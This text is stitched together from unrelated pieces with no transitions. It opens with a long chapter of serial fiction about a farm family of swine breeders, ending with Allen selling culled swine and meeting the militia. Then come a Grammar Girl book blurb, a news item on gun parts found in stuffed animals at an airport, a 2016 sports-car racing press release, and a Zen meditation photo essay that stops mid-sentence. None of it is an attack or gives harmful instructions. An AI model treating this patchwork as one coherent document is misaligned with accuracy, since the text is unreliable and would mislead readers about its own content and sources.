There was a little laugh shared around the table, and I relaxed some. Granpa was almost never wrong when he was confident, but I would feel a lot better when I knew for myself. Trust, then verify.  Pa spoke next, from his position at the other head of the table, opposite Granpa. “Anyone else have anything to discuss that we need to talk over as a family?”  I heard my name whispered, and from the corner of my eye I saw Abe poke Molly. They both looked at me and laughed between themselves. Abe saw me looking and turned back to the table quickly, Molly was canny enough to do the same without looking at me. Both of them were hilariously fake-innocent looking, pretending they didn’t have any mischief planned. I smiled a little and carefully arranged my tableware away from the edge of the table and prepared myself to be rushed by rambunctious wrestling rascals as soon as Pa said we could leave the table. It wasn’t like they didn’t do the same thing at least a couple nights a week, as one last excuse to get themselves worked up before bed. No punching, biting, pinching or slapping was allowed, but grappling and tickling was.  “OK. Everyone, Jan and Edward and Zeke have cleanup tonight. Everyone else, out of their way.” Pa started pushing back his chair to stand.  I pushed my chair back quickly so I could catch the rampaging raggedy ruffians as they ran my way.  They both collapsed forward in their chairs, and thumped their foreheads on the table, hard enough to shake everyone’s plates and glasses. A moment later, they both started to fake snore. Loudly. “ZZZZZ!”  Everyone at the table just stared at them in confusion.  Ma looked at both of them, her head panning from Molly on one side of her to Abe on the other, and back. “What… are you two doing?”  Abe opened one eye. “We’re just like Allen. Someone has to carry us to bed.” He closed his eye, and the two of them started fake snoring rather obnoxiously again.  “ZZZZZ!”  “ZZZZZ!”  I was shaking with suppressed laughter so hard I could barely think, but the thought came through anyhow. The little weasels. They played me like a harp.  I carefully stood up, making as little noise as possible, and held my right index finger over my mouth, and the rest of the adults showed big smiles, even Pa. Working my way over behind Abe I grabbed him by the torso with both hands and picked him up out of his chair. As I lifted him, he squirmed in my grasp and shriek-squealed in that strange childish manner, the happy-to-be-scared sound generating an irresistible ‘tickle me’ trigger. Not that changed my plans. Tickling was already going to happen. I went to my knees behind Ma’s chair and set Abe down on his back, and started tickling his ribs mercilessly for a few seconds.  Any second now. I watched Molly with my peripheral vision while I also watched Abe to make sure he wasn’t hyperventilating or too red in the face, tickling him just enough to make him yell “Allen. No fair!” Then he started making non-word noises, laughing and breathing heavily.  I saw Molly’s legs shift slightly, and her head moved just a little, turning to give her a view of her escape route. Aaaand. Now. Molly’s chair squeaked across the floor a few inches, and she bolted, trying to run past me. I quickly snaked out my left arm and hooked my hand around her torso, dragging her into a brief hug before carefully laying her flat on the ground next to Abe. Serious tickling followed immediately, leading to the jokesters flailing and twisting back and forth while shriek-squealing and laughing. When their voices started to indicate actual distress, I stopped.  “You two OK?”  Two weak voices, almost in unison “Yes!”  “Good.” I held my hands up in front of them and wriggled my fingers. “Let’s do that again!”  “No!” “No!” a chorus of two voices called out and as I dropped my hands towards their bellies again they shrieked in laughter.  Instead of tickling them again like I knew they thought I was going to do, I suddenly, carefully grabbed each of them by one of their calves. Then I quickly went from my knees to my feet, picking them both up and holding them upside down by one leg, suspended a few inches above the ground. There was another round of high pitched happy shrieking and a great deal of arm-wheeling. I didn’t lift them too far off the ground because they were twisting pretty hard and both massed around twenty-five kilos or so. I wasn’t Edward, able to throw a bale of hay nearly twenty feet, but I was strong enough for this.  I bent my elbows a bit, bringing the two of them closer together as they hung suspended upside down from my hands. After bringing them a bit closer so I could face them both, upside down, I spoke to them. “I thought you said you needed someone to carry you to bed? I’m just trying to help.”  Both of them looked startled for a moment, blinking at me, and then they looked at each other and back to me again.  “I didn’t mean this!” Abe protested, pointing at me, “and you know it, you too-tall meanie.”  Molly was far cleverer. “I didn’t say that. I’m not guilty. Put me down.” She crossed her arms and stared at me, upside down.  “Ah, but the best plans of little siblings never survive contact with a smarter older brother.” I retorted. “I can tell you that from experience.”  Zeke’s voice came from the other side of the table over Ma’s barely audible laughter. “It’s true.”  I thought to myself, with a little irritation, you didn’t have to agree so convincingly, Zeke.  Edward chimed in. “Definitely. As the oldest, smartest brother, I’ve ruined my fair share of great plans.”  I bent my elbows a bit to bring them closer to my torso, and poked my face a bit closer to them, but not close enough that they could hit me. I made a funny face and stuck my tongue out at them. “That was a good one though. You won tonight. I’m just being a spoilsport and abusing my bigger muscles and better looks.”  There was more upside-down good-natured yelling and flailing as I took them back to the kid’s room and carefully lowered them onto their sleeping pad. “There we go, as requested, two bed deliveries.”  They both, almost as one, stuck their thumbs in their ears and waved their fingers at me as they made loud raspberry splutters.  I smiled and straightened up, wistfully thinking to myself. They think and act so much alike. Inseparable. Sometimes I wish I’d had a sib near my age. Zeke was fun at times, but we were never close like these two. You have to pull them apart with horses and tie them down with ropes, or they’ll be in each other’s back pockets again in seconds.  They didn’t stay in their bed for long though, of course. Ma had followed me as I carried them, and called out. “OK, restroom and tooth brushing. Now.”  I left the room to two young voices complaining. “Awww, Ma…”  Edward and Jan and Zeke were chatting in the kitchen to the sound of plates and glasses being washed.  Pa was sitting in his chair with what looked to be a horse bellyband across his lap, picking stitches. Probably the one that he had been complaining about when the planting season ended. Normally it would be a winter job, but if we were going to plant a late crop of table beets and radishes tomorrow, we would want both plows in the field to do it quickly.  Granpa had a heavy piece of flat oak on his lap, carefully cutting a marked piece of leather into a shape clearly intended to replace the piece Pa was removing from the bellyband.  They both looked up at me and nodded when I sat down and reached out to pick up a breeching strap. I inspecting it and found that it seemed to be OK, except for some loose stitching that would irritate the horse wearing it. Pa leaned over and picked up the case of ceramic needles, and held it out to me. I looked at the stitching again and judged that I could use a medium needle. Small needles broke too easily to use them unless you needed to.  Nobody spoke, there was detail work to do. Glass knives cut threads, bull-oak punches with diamond tips cut holes in new leather pieces, and ceramic needles stitched harness pieces back together again. Zeke and Edward joined us when the dishes were done, and the pile of damaged tack in the middle of the room quickly disappeared. When the last piece was assembled, we passed each piece around the circle of all five of us so we could all look at it.  Granpa spoke first, after he sheathed his glass blade. “The rugrats got you pretty good Allen.”  I laughed and the rest of us did too. It felt good. I just wished I could stop worrying about what was going to happen tomorrow, and after that. “They did Granpa. Yes they did. I wish we could bottle energy like that.”  Pa raised his eyebrow at me. “You wish we could bottle energy like that?” His eyes cut over at Granpa. “You hear that, Pa? Allen here is already getting old. In another couple years he’ll be bedridden for sure.”  I looked to Edward and Zeke, who both shook their heads. Zeke grinned. “You stepped in it, I’m not helping.” Edward nodded and kept his mouth shut.  I raised my hands in surrender, chuckling. “You have to admit they have endless energy.”  Granpa smiled again. “That they do.”  In unspoken agreement, we started lightly moistening the leather. It had all been cleaned before it was put up, and the new leather was clean, but we would be plowing the fields tomorrow, and planting the next day if the locusts were done. A little neatsfoot oil would go a long way to keeping the leather pliable, but it shouldn’t be put on very dry leather.  About three hours after dinner, we had finished all the harness repairs, and put all the supplies away. Edward carried the tack back out to the horse barn, and returned a few minutes later. Ma and Jan had finished checked through non-food supplies, and decided that there shouldn’t be any need for extra cloth for Jan and Edward’s upcoming baby. They hadn’t found any lack of other supplies that were critical.  We all drank a hot rose hip, mint, and honey tea and talked about what to do on the next day. Everyone carefully avoided mentioning that I couldn’t help implement tomorrow’s plans, but I was able to contribute a couple ideas.  Once everyone knew what they would be doing the next day, we broke for bed. Before I stood, Ma moved next to me where I was sitting, leaned forward and kissed me on the forehead. “You did well tonight with Abe and Molly. I…” She stopped talking, and looked me in the eyes for a second. “I’m sorry if I upset you earlier.”  “I understand, Ma.”  She ruffled my hair then everyone went to their beds.  **  The next morning, before the sun was up, I joined the rest of the family for a light breakfast that really wasn’t all that good. Ma was using up the oldest preserved food, and some of the garden produce that had been locust-damaged, or wasn’t fully ripe. Foods that in a good year would likely have been fed to the swine as treats. Molly and Abe complained a bit, but settled down after a quick talking-to by Ma.  In the near-darkness of pre-dawn, I carefully walked out to the equipment barn and picked up four swine harnesses and a bundle of simple rope leashes. I dropped them in the bed of the small cart I was planning on taking to town and pulled the small cart out of the equipment shed by hand. After inspecting it by the dawning light, I found no problems or damage. Thirty minutes later, I waved to Granpa, Abe, and Molly as they returned from milking the cows.  My four largest sows pulled the cart. My fifteen culls that were leash-trained were tied to the back of the cart by their leashes. The five that I hadn’t even managed to reliably leash train were in a wooden crate with slatted sides for ventilation behind me on the cart. Speedy was the only squealer I was keeping this year. That hurt, a lot, because there had been some good ones in the most recent litters, especially Chuckle, but I had to lighten the burden on the farm. I only kept Speedy because I really wanted to see what she filled out like with those longer back legs.  Butchering and eating our own swine was out of the question. They would know. It would make them very difficult to work with for weeks. They considered us to be dominant members of the herd. Swine were not extraordinarily protective of one another, but they were herd animals, and our swine were smarter than any farm pig. If they heard or smelled one of their own being slaughtered, smelled the scent of one of their own in the table scraps, or encountered something made from the leather of a sounder member, they would be afraid of us and very difficult to control. The boars might even get aggressive with us if they were in rut.  It happened every now and then that a sow or swine would die on the farm. We would then be forced to field dress the carcass and take it into town to the butcher. Otherwise we normally took sows to the butcher the first time they produced only two squealers after their fifth year. Boars would go to the butcher when they reached three hundred kilos, or in their tenth year. A strong stud boar might be kept longer, as long as he was able to produce quality offspring.  Exceptions were made for exceptionally smart, tractable boars and sows, giving them a couple more chances to breed, or allowing them to grow a little bigger. We wanted those genes. The smarter and more tractable our swine were, the better they could work.  In the direst need, of course, we would butcher and eat our own swine, but we’d eat the horses and cows first. A single-plow could be managed by a team of four big sows. Zeke had been plowing the mangel fields for years. The third plow allowed all the crops to get into the ground just a little faster.  The only reason Zeke wasn’t plowing today, was because we didn’t want the swine in the fields immediately after table beet and radish plantings. Even if they didn’t root up the seeds, they would certainly disturb the plantings, compacting the soil with their feet. If the swine were to be allowed to eat the corn plant roots, it had to be on plowing day, because seeds would be going into the ground the next day. Granpa was going to take the other five of my sounder up to the fields so they could eat as much corn root as possible as well. We’d leave them there overnight with the boars.  As I prepared to turn up the Gonzalez farm road, I shook my head, hoping none of my fears would come to pass. The swine breeding records we had went back over two thousand years, and there were references to records at least a thousand years older than that. The records had been copied time and time again over those years, and some of it was certainly bad data after so many copies. Anything more than a hundred years old was pretty meaningless to us with the tools we had available anyway. The ancient records were more tradition than useful.  Losing our swine would be a huge loss. There weren’t many swineherds like us who bred for the traits we did, so rebuilding a good sounder would be extraordinarily difficult. All the nearby farms that used our services would have to hire people for that work, or take farm labor off of other jobs. You simply did not recreate thousands of years of work in a few seasons.  I turned slowly and carefully off of the main road, watching behind me to make sure none of the squealers leashed to the back of the cart were in danger of being caught under a wheel.  I was hoping to spend a little time with Marza today. I wasn’t disappointed. As I pulled up to the house, I saw Marza on the front steps of the main Gonzalez home with a butter churn. Which was weird. Most people did not try to do work in high traffic areas, and she’s be in the way of everyone coming in and out of the house.  “Allen!” She yelled as she quickly set aside the butter churn and ran towards my cart. I pulled the cart off the side of the road to avoid blocking the road and hopped off the cart, watching as she ran to me. I never got tired of seeing her run. I could still remember when she could outrun me, back years ago. It used to frustrate me so badly. She was tall and muscular, long, jet black hair in a thick braid behind her. Brown eyes and a couple freckles framing a button nose and a mouth capable of the most incredible smiles. Her rough, baggy work clothes had never hidden her beauty from me.  As she got close, I reached out and grabbed her under the armpits and lifted her into the air, spinning her around once, as she laughed and called out “Put me down!” as she put her hands on my head, since she couldn’t reach my shoulders.  After one rotation I let her to the ground. We drew each other into a powerful embrace and hung onto each other for a full thirty seconds. Then we relaxed a bit and I leaned over and she stood on her toes and we kissed for about ten seconds. When there was a conspicuously loud, brief female-sounding cough from inside the house, we detached from each other and I set my chin on top of her head as we held each other loosely. There weren’t many women I could do that with, most were just too short. Marza was perfect. Well, to me. I suppose I was biased.  With the immediate pleasure of greeting handled, I started speaking to help direct my mind towards important, pressing matters that I could do something about, instead of things pressing against me that I wasn’t allowed to do anything with, yet. “Does your family have anything that needs to go to town that will fit in the cart, Marza? I’ve got a little room left beside the cage.” As I said that, I dreaded the possibility that she might say she had to report for militia duty.  Marza looked at me, clearly picking up the stress in my voice. Then she looked away from me, towards the house with a bit of nervousness. “No, with the harvest being what it was, we’re holding onto everything we can until we see what we get from the beet and radish harvest.” Granpa is going into town today to pick up some needles, a couple punches, and some leather strap, but he’ll be paying with fisc, not barter. All three house families are plowing for all they are worth right now. We’ve got all six plows in the field and five hunters in the woods, hoping to pick up some deer. The family children are hunting for acorns, blackberries, anything in the woods that we can eat.”  I looked at her a little funny, and she looked back at me. “What?”  “Not to pry into your family business, but why is your Granpa going into town? I know he can hunt. Why not send someone else to town for simple stuff like that?”  The senior Mr. Gonzalez came around the corner at that moment, on a light draft horse, and I understood immediately what was happening. He wasn’t hunting, but he was carrying a bow and quiver. He was also wearing a backpack. “Oh. I see.” I didn’t even imagine that he might choose to enlist himself rather than one of his children or granchildren. He was between Pa and Granpa’s age, a bit shy of sixty if I remembered right. I did the math in my head, accounting for Pa and Ma starting to have kids later, and farther apart, with Marza being the middle grandchild of the third-oldest child of Mr. Gonzalez.  “You seem surprised, Allen.” Mr. Gonzalez chided me. “Don’t tell me that you expected me to allow Marza to join the militia, even if the Countyman wanted her because of her age?”  I was surprised and took a moment to consider my words. Talking without thinking around Mr. Gonzalez led to embarrassment more often than not. “I was informed by my Granpa, in no uncertain terms, that Marza wouldn’t be your farm’s representative. I am surprised though.” No need to say why I was surprised though. If he couldn’t figure that out, I would know why he was doing it. I hadn’t seen signs of mental degradation in him, and he was a bit young for it, but it was possible.  Marza abruptly elbowed me in the side, but said nothing. I looked down at her, but she didn’t even look at me, continuing to look at her Granpa. His gaze shifted from me to her, and his brows beetled a bit. “No, Marza, it’s not going to happen. Nobody else is going; it’s going to be me. I won that argument last night, and your granma agreed with me, if you recall. If you want to argue with her about it, feel free. If you convince her that one of the younger men should go, then I’m sure she’ll try to convince me of the same.”  Marza sighed. “I’m not that foolish, Granpa. Enough of the family agreed to it that I’m not going to fight it. That doesn’t mean I agree with it.”  I was distinctly uncomfortable listening in on family politics. Not my family. Yet.  Mr. Gonzalez got a bit of a sharp look on his face. “Which of your generation would you prefer to grow up without a Pa or Ma, Marza? Which family do I choose to risk losing someone who might be fit and hale for decades? I’m fit and hale now. That’s not going to be true for many more years. My bones ache in the morning, and when it rains. My hearing is not quite what it was. My sight is starting to go as well.”  I shifted my weight from foot to foot. It was not my place to be hearing this. I wanted to shrink to a few centimeters tall and hide somewhere.  Crossing her arms, and tightening them around herself a bit, Marza spoke with some heat, looking up to meet his gaze. “Knowledge. Experience. You won’t stop being useful until the day you croak, Granpa. Allen’s Granpa is missing a foot, but he does his fair share. Sure, he can’t plow a field or throw hay bales, but I haven’t seen you doing those things a whole lot recently either. And if you say your mind is going, I’ll flat out call you a liar after the logic webs you spun last night.”  I really, really wanted to be elsewhere, but at the same time Marza was looking distraught and I wanted to offer some comfort. I shifted slightly, to stand a little closer to her and put my left arm around her hip. When she didn’t pull away, I put just a little pressure against her, and she bumped up a little into me. Not leaning against me but touching me.  A sad look crossed Mr. Gonzalez’s face. “Who then, Marza? Which uncle or aunt will go and maybe not return? Or maybe it will be one of your generation? Which niece or nephew? Give me a name, and then give me a reason that I can take to your granma.”  Marza said nothing for a moment as she leaned heavily into me. “I don’t want to lose either of you. Allen’s family doesn’t really have much of a choice.”  Mr. Gonzalez shook his head. “Marza, our family doesn’t have a choice either. Not while your granma and I run it, and we’re in agreement. We let you all speak your minds, but we don’t run the farm by committee.”  She stared up at him for a moment and then her shoulders slumped, and she leaned into me even heavier. I almost staggered. Despite being a full head and then some shorter than me, Marza weighed almost as much as me.  I looked up at Mr. Gonzalez. I really didn’t appreciate him dragging me into the conversation, and I was starting to get agitated at him for pushing Marza as hard as he had. I could feel her shoulders shaking.  Before I could say anything, Mr. Gonzalez raised his right hand with palm facing me. “If you’re going to complain at me about how I just upset Marza, call me Riko. You’re close enough to becoming family that I’ll accept it.”  I opened my mouth, briefly, and then closed it. Then I looked at Marza, and then at him again, suspiciously, after I realized he had said nothing in Latino. Marza didn’t switch to Latino when I was around unless she was told to. If the conversation had been unintended, Mr. Gonzalez would have said something in Latino, and everything after that would have been in Latino, leaving me completely in the dark. “You set this up, didn’t you, sir?” I paused. “Riko.”  He nodded. “Of course I set this up. I could have been halfway to town by now, and Marza really should be out combing the forest for edibles instead of sitting on the porch churning butter, a job her ma would normally be doing right now. You two are going to start a family soon, you need to at least have some appreciation about how devious you will need to be in order to get what you want from your future kids and grandkids.”  Marza stopped shaking after his last sentence, abruptly turning her head towards Mr. Gonzalez, as he turned his head slightly towards her and smiled a tight, lopsided smile. Then his face became serious and his dark eyes bored into us as he spoke in a hard voice. “It also helps to understand how much some of those decisions will hurt. When you have to make a terrible decision, the more you care, the more it hurts, and no amount of logic makes it hurt less. Consider this a demonstration.”  I could feel Marza stiffening up and muscles tensing against mine, so I decided to try to be a little aggressive, maybe to keep Marza from snapping out at him. She had to live with him, after all.  In a sharp tone I snapped out, “I didn’t particularly care for the delivery, but the lesson is well taken, Riko.” I looked down at the top of Marza’s head and back at him. “I hope that you get an opportunity to teach us more, perhaps with a little less drama.”  “You’re not thinking. But that’s OK. That’s what your elders are for.” He chuckled. “People learn better under stress. That having been said, even in a best case scenario where nothing happens to either me or you, Allen, you two are going to settle pretty far from here. Family will not be able to visit you easily, and it’s hard to teach real world knowledge by post. Though you’re more than welcome to send mail, of course, when the time comes.” He looked towards the sun. “Allen and I need to go, Marza. He clearly has some culls to sell, and I need to make purchases. We both have to speak to the militia officers, before midday.”  Marza gave me a hug and I leaned over so we could kiss. The kiss lasted for several seconds before Mr. Gonzalez coughed. We kept kissing anyway, and he laughed. “Well, when you come up for air, Marza, your cousins are expecting you in the blackberry fields along broken rock trail. Give your ma the churn, she’ll finish the butter.”  “Mmmhmm,” Marza mumbled with our lips locked, giving Mr. Gonzalez a thumbs up with one hand.  I was willing to let the kiss go on for quite some time, but Marza pulled away, and held me at arms-length with both hands. “You will come here to say goodbye at least one more time before you go.” It wasn’t a request.  I nodded. “I will.”  She nodded, sniffled once, and without saying another word, she turned and ran to the steps, picking up the churn and walking to the door of the house. We waved at each other when she turned back towards me in the doorway.  Mr. Gonzalez waited until I looked back to him before he spoke. “Mind if I keep you company on your way to the butcher’s, Allen?”  “I’m heading to the marina master first.” I replied, “But I’d be happy to keep you company until we reach town.”  Mr. Gonzalez looked at my swine for a moment, clearly thinking. “Makes sense, I suppose. I wasn’t aware that you sold to the marina. We don’t have anything to do with them, except to trade for oyster shell powder for soil remediation.”  “They don’t buy many, but between fish offal and vegetation and sea life washing up on the coast, swine fatten up pretty nicely there. If we sell them leash-trained swine, they can just be walked along the coast by kids to let them get a lot of food that people can’t or won’t eat. The marina master usually buys one for every one of his children in school, every year.”  I finished turning the cart around, carefully watching to make sure I didn’t run over any leashed squealers. When I finally got us turned around, I clucked and raised the reins and lowered them quickly. The four sows in trace quickly got us moving to a moderate walking speed.  Mr. Gonzalez had waited for me to get my team turned around before starting to speak. “I’ve raised farm pigs. I was always a bit afraid to feed them fish offal. No concern about the bones?”  I looked over at him, thinking to myself. Is that a trick question?  After looking at my expression for a second, Mr. Gonzalez laughed. “Hah! Marza is going to have so much fun with you if she can get a reaction from you that easily.” He shook his head. “I don’t know everything. Your Granpa and I, we generally talk about important things that we share in common, and family. I taught him a lot about soil remediation and how to test soil quality, and he taught me a great deal about pests and pest management. There was a lot of other sharing too, but I never had a need to know about your forest swine, because I don’t raise them. That doesn’t mean I never wanted to know about them, but there is almost always something more important to do than indulge idle curiosity, no?”  I nodded. “Yes, sir.” I smiled a bit as I looked up at him on his horse, pacing my cart. I stopped speaking but then realized I hadn’t answered. “Oh, sorry. Uncooked fish skeletons aren’t really a problem for swine. They are smart eaters. Cooked fish is a different story, the bones are more dangerous when cooked. I’m almost certain it would be the same for farm pigs.”  “Indeed.” He responded, thoughtfully. “We’ve got an hour and a half or so of road ahead of us, so let’s trade questions?”  “Sure. What do you want to know about our swine, sir?” I was having a hard time calling him Riko. It just felt wrong.  “Farm pigs rarely have stripes like that, but almost all of yours do. Did you breed the striped markings into them?”  “No, sir. That’s natural. Forest swine these days really aren’t real one-hundred-percent forest swine, not even ours. They are crossbreeds between forest swine and farm pigs. The stripes on squealers are protective coloration like white tailed deer fawn have; it blends into the forest litter. There’s a good bit of farm pig genes in our swine too, but we try to keep the forest swine genes dominant. We trade boars now and then with distant family, but if nobody within a decent range has a good quality boar they will trade, we’ll buy striped male squealers from farm pig litters. Only ones with stripes though when we buy them. A squealer with no stripes is almost always going to be a cull. Stripeless ones almost never take training well, like these three.” I pointed to the three non-striped squealers in the cage on my cart.  He was silent for a minute, then nodded. “How long have your family been breeding swine?”  “About three thousand years that we’re sure of, based on records. Maybe longer.”  Mr. Gonzalez whistled. “That’s amazing. You have records that far back? I don’t have my own family genealogy traced as far back as your swine.” He paused. “Of course, the records are available if we need them bad enough.” He raised his head a little, sharply, to indicate something overhead, in this case it was clear he meant Albert. Then he turned back to me. “Your turn. Three questions, and then my turn again.”  I thought about it. “Well, you’ve raised farm pigs so you might have tried this. Pigs and swine eat so many different types of food. Is it worth trying to give them special feed if you want to use their manure to target specific soil deficiencies?”  “Very good question. Give me a moment to think about it.” He looked forward, clearly thinking, and after a couple minutes began an answer.  For the next twenty kilometers, we talked swine and soil mostly, but a little about genetics and woodworking too. It was an interesting conversation. It made me feel rather good to be teaching Mr. Gonzalez things he didn’t know, and learning from someone with his combination of book and practical knowledge was a treat.  Eventually we parted ways in town, and I went to the marina master’s home along the river, near where the estuary began. I sold him four of the smallest culls, for a lot less fisc than I would have preferred. I was trying to sell them early, and smaller than usual. He had also, apparently, been talking to the butcher about how much to pay for our swine. I managed to get him to come up on the price a bit when I reminded him how easy it was to feed them, and that the community was probably going to be buying everything the fishermen could possibly catch for at least the next six months.  I returned to town, and checked the trade board in front of the town post office, just in case one of the townsfolk had a note up that they wanted a swine. We’d sold a few to families in town before. A small garden of mangels and table scraps would raise a fine cull overwinter. Mostly they wanted farm pigs that grew very fast though. Unless they had kids, and then the leash trained squealers were novelty gifts that would eventually make it to the table. Novelty gifts were much more valuable than butcher meat.  I was surprised to see that despite the early locust swarm, there was one family that wanted to buy a squealer. I opened the glass-fronted cabinet and pulled out the request, put it in my pocket, and then paid them a visit at the address they had given.  After a little haggling and proving to the Tanner family that Chuckle would obey their eight-year-old daughter on his leash as well as he obeyed me, I sold Chuckle for twice what I would have gotten for him from the butcher. Before leaving, I carefully explained that they should never, ever put their hands in Chuckle’s mouth; anything in a swine’s mouth was food until the swine chose to spit it out. I also made sure they understood that swine did tricks and obeyed commands mostly for food, not loyalty. I let them know the names of others in town who had recently bought from us, in case they wanted to compare notes, and then left them to their own business. I delivered the rest of my swine culls to the butcher and he paid standard rates for them.  By the time I’d sold all my swine, it was very close to midday, according to the town square sundial. I walked into the bank.  A nicely dressed young lady who I thought I remembered being two or three years ahead of me in school looked at me and sniffed with a little frown. I smiled back. Pa always said that bankers didn’t like the smell of hard work. He’d also been very clear that they still had to be treated with respect, because one day you might need a loan for a new piece of equipment or a building.  I led with a smile. “Hello Ma’am. How long would it take to set up a new bank account?”  She looked at me and forced herself to smile. “About thirty minutes young man.”  Thirty minutes? How many times do they have to count it? I wondered to myself as I shook my head. “I’ll have to come back after I go speak to the militia officer then. I don’t have thirty minutes.”  She got a real smile on her face. “Oh, if you are signing up for an account for your militia pay, the militia officer will create an account for you.” Her relief was so obvious it was funny, and I barely kept myself from laughing at her.  Letting the militia officer set up an account for me sounded handy, but I wouldn’t get my first pay for a while, I was sure. The officer would certainly be a very busy man today. “Will he do that today? I have fisc to deposit today.”  Her smile faltered, but quickly recovered. “No, I’m afraid not.”  “I’ll come back after I speak with the militia officer then. Thank you.” Yes, Ms. Necessary Evil, the stinky farmer will be back in your building for thirty minutes, later today. I thought to myself with a smile as I walked out the door. A couple minutes later, I drove my carriage over to the Countyman’s house to find out where to meet the militia officer.  Prior Chapter Next Chapter  Advertisements
-Online sensation Grammar Girl makes grammar fun and easy in this New York Times bestseller  Are you stumped by split infinitives? Terrified of using "who" when a "whom" is called for? Do you avoid the words "affect" and "effect" altogether?  Grammar Girl is here to help!  Mignon Fogarty, a.k.a. Grammar Girl, is determined to wipe out bad grammar—but she's also determined to make the process as painless as possible. A couple of years ago, she created a weekly podcast to tackle some of the most common mistakes people make while communicating. The podcasts have now been downloaded more than twenty million times, and Mignon has dispensed grammar tips on Oprah and appeared on the pages of The New York Times, The Wall Street Journal, and USA Today.  Written with the wit, warmth, and accessibility that the podcasts are known for, Grammar Girl's Quick and Dirty Tips for Better Writing covers the grammar rules and word-choice guidelines that can confound even the best writers. From "between vs. among" and "although vs. while" to comma splices and misplaced modifiers, Mignon offers memory tricks and clear explanations that will help readers recall and apply those troublesome grammar rules. Chock-full of tips on style, business writing, and effective e-mailing, Grammar Girl's print debut deserves a spot on every communicator's desk.
-A man traveling from Rhode Island to Detroit with his 4-year-old son was stopped at T.F. Green Airport in Warwick, R.I., the Transportation Security Administration said, after a TSA screening agent noticed disassembled gun components "artfully concealed" inside three stuffed animals in his carry-on bag.  The gun parts were found in an X-ray scan during a routine security screening. According to the Associated Press, a ".40-caliber gun was found inside one animal, while a magazine loaded with two .40-caliber rounds and a firing pin were found inside a second animal; another part of a gun known as a slide was found inside the third animal."  The stuffed animals were a teddy bear, rabbit and a Mickey Mouse, the TSA said. The gun parts--which could have been assembled to make a working firearm--were confiscated.  Astonishingly, the man--whose name was not released--and his son were allowed to continue to their destination after authorities concluded he didn't pose a safety threat. The man said he did not realize the stuffed animals contained the weaponry.  "It appears to be the result of a domestic dispute," Rhode Island Airport police chief Leo Messier said in a statement to the AP. "It was jointly investigated by the RI Airport Police, FBI and the Rhode Island State Police and it was determined that there was no threat at any time to air safety."  "This is just another example that threats can appear anywhere, and this is why TSA officers take a closer look at everything," the TSA added in a release. "It's also an example that shows that even though TSA has modified the screening process for children 12 and under, the security process is still just as effective."  More popular Yahoo! News stories:  • Russian superjet goes missing during test flight with 44 on board, reports say  • Obama's gay marriage balancing act gets awkward  • Santorum's underwhelming endorsement of Romney
-View this email in your browser VISIT FLORIDA Racing Takes Delivery of Riley-Gibson  Both Marc Goossens and Renger van der Zande, who were recently announced as VISIT FLORIDA Racing’s full-time drivers for the 2017 IMSA WeatherTech SportsCar Championship campaign, were on hand to take their first laps in the car.  IMSA has established all-new regulations for the top Prototype class in IMSA WeatherTech Sportscar Championship competition, which will officially launch with the Rolex 24 At Daytona on January 28-29.  Saturday’s test served as an initial shakedown for the Daytona Beach-based team prior to the first official IMSA outing next week at Daytona International Speedway.  VISIT FLORIDA Racing will take part in an IMSA open test on December 13 and 14 in preparation for the 2017 season. The new season officially kicks off with the annual Roar Before the 24 at Daytona International Speedway January 6-8.  For more information, visit www.sdr-motorsports.com Daytona Beach, Fla. (11 December 2016) – VISIT FLORIDA Racing took delivery of its new Gibson-powered Riley Technologies Mk. 30 on Saturday as the team put the brand new LMP2 machine through its paces at Carolina Motorsports Park.Both Marc Goossens and Renger van der Zande, who were recently announced as VISIT FLORIDA Racing’s full-time drivers for the 2017 IMSA WeatherTech SportsCar Championship campaign, were on hand to take their first laps in the car.IMSA has established all-new regulations for the top Prototype class in IMSA WeatherTech Sportscar Championship competition, which will officially launch with the Rolex 24 At Daytona on January 28-29.Saturday’s test served as an initial shakedown for the Daytona Beach-based team prior to the first official IMSA outing next week at Daytona International Speedway.VISIT FLORIDA Racing will take part in an IMSA open test on December 13 and 14 in preparation for the 2017 season. The new season officially kicks off with the annual Roar Before the 24 at Daytona International Speedway January 6-8.For more information, visit www.sdr-motorsports.com  For Additional Information:  Julie Conlin, Sunday Group Management  julie@sundaymanagement.com  www.sdr-motorsports.com  twitter.com/visitfloridarac  https://www.instagram.com/visitfloridaracing/  2017 CALENDAR  Rolex 24 At Daytona  January 26 - 29  Mobil 1 12 Hours of Sebring  March 15 - 18  Grand Prix of Long Beach  April 7 - 8  Circuit of the Americas  May 5 - 7  Detroit Grand Prix  June 2 - 3  Sahlen's 6 Hours of the Glen  June 30 - July 2  Canadian Tire Motorsport Park  July 7 - 9  Road America  August 4 - 6  Mazda Raceway Laguna Seca  September 22 - 24  Petit Le Mans  October 5 - 7
-I tend to photograph my sangha, the Village Zendo, at aesthetic high points. Like when we’re on retreat and there are 80 of us meditating in black robes, sitting in the big old church we rent in winter. Or when Enkyo Roshi stands at the altar in a cloud of incense. We look exotic, like Zen monks.  But in 2011, I started to ask about our ordinariness. What do we look like meditating in our apartments, or sitting on a couch? I wanted to make photographs of regular Zen life, and see if they showed the same spirit as my photos of our exotic high points. The life of a lay Zen man like me is marked by mysticism and ordinariness. I wondered if I could show both.  I did this series in the fall of 2011 called “Ordinary Zen.” I photographed my friends from the Zendo meditating at home, and interviewed them about their practice.  Bill Seizan Ewing  I used to occasionally spend a weekend not talking. I’d get together with one of my friends, someone I felt comfortable with, and I’d say, let’s do something this weekend, let’s not talk. We’ll have a slumber party, and we’re not going to speak. So when I heard about a silent month retreat with the Village Zendo, I thought that sounded weird and funky and I’d love to try that.  I took beginning meditation instruction at the Village Zendo in 2002. I had no problem sitting on the floor. The instructor said, let’s do this for five minutes, just count your breath up to ten and then start over. I got up to thirteen before I remembered to go back to one!  I’ve been dancing Tango for six years. At the first lesson, you stand really straight, put your hands on your stomach, breath so that you can feel your stomach—it’s this whole physical thing. Tango is really Zen. You have to be in the moment, right there with the person you’re dancing with. Your awareness goes, not just to your center of gravity, but to the center of gravity you’re creating together. And when you connect like that, that’s Tango. The feeling is like nothing else.  Jean Yugetsu Carlomusto  I’m one of the most un-Zen people on the planet. No one would ascribe Zen to me. It’s because they misunderstand what Zen is. They think Zen is the Buddha sitting strong—and that’s true. But there’s also the Buddha having a screaming fit at the dog for peeing on the rug. What elevates it is that you try to be aware of it at every moment. That’s the hardest thing.  I got into Zen through Enkyo Roshi. She had been my professor, and one day after I graduated I saw her on the street, and her head was shaved. I thought, I hope she’s okay. She said, we’re meditating at my apartment; I’ve become a Zen priest.  That was the early 90s. I was working at Gay Men’s Health Crisis, and at ACT UP. The people I was close to started to die, and there was a period of time for about a year when I didn’t want to go out. I just stayed home. And the meditation helped me recover some 